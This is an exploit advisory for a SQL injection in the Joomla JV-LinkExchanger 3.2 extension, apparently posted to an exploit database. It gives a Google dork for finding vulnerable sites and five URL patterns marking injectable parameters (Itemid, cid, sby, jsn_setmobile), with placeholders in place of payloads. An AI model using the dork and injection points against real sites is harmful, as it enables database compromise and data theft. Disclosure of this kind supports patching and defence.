Joomla JVLE JV-LinkExchanger 3.2 SQL Injection

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# Exploit Title : Joomla JVLE JV-LinkExchanger 3.2 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 10/02/2019  
# Vendor Homepage : jv-extensions.com  
# Software Download Link : jv-extensions.com/customer-orders-and-downloads  
# Software Information Link : extensions.joomla.org/extension/jv-linkexchanger-jvlinx/  
.jv-extensions.com/blog/jv-linkexchanger-3-0-for-joomla-3-x-and-2-7-44-for-joomla-2-5  
# Software Version : 3.2  
+ JV-LinkExchanger 3.0 for Joomla 3.x and 2.7.44 for Joomla 2.5  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_jvle''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
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JV-LinkExchanger (JV-LE) is a free and basic reciprocal link and banner exchange Joomla!   
  
extension. JV-LinkExchanger or JV-LE in short has all the elements required for a basic   
  
and successful link and banner exchange for Joomla websites. JV-LE provides the   
  
necessary screens, forms, logic, processing power, features, design and the flexibility  
  
to enable your Joomla website to exchange links with other Joomla and non-Joomla websites.  
  
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# Impact :  
***********  
Joomla JVLE JV-LinkExchanger 3.2 and other versions - component for Joomla is prone  
  
to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
  
data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_jvle&Itemid=[SQL Injection]  
  
/index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[SQL Injection]  
  
/index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection]  
  
/index.php?option=com_jvle&Itemid=[ID-NUMBER]&view=all_category_links&cid=[ID-NUMBER]&sby=&jsn_setmobile=yes&jsn_setmobile=[SQL Injection]  
  
/index.php?option=com_jvle&Itemid=[ID-NUMBER]&task=all_category_links&cid=[ID-NUMBER]&sby=[SQL Injection]  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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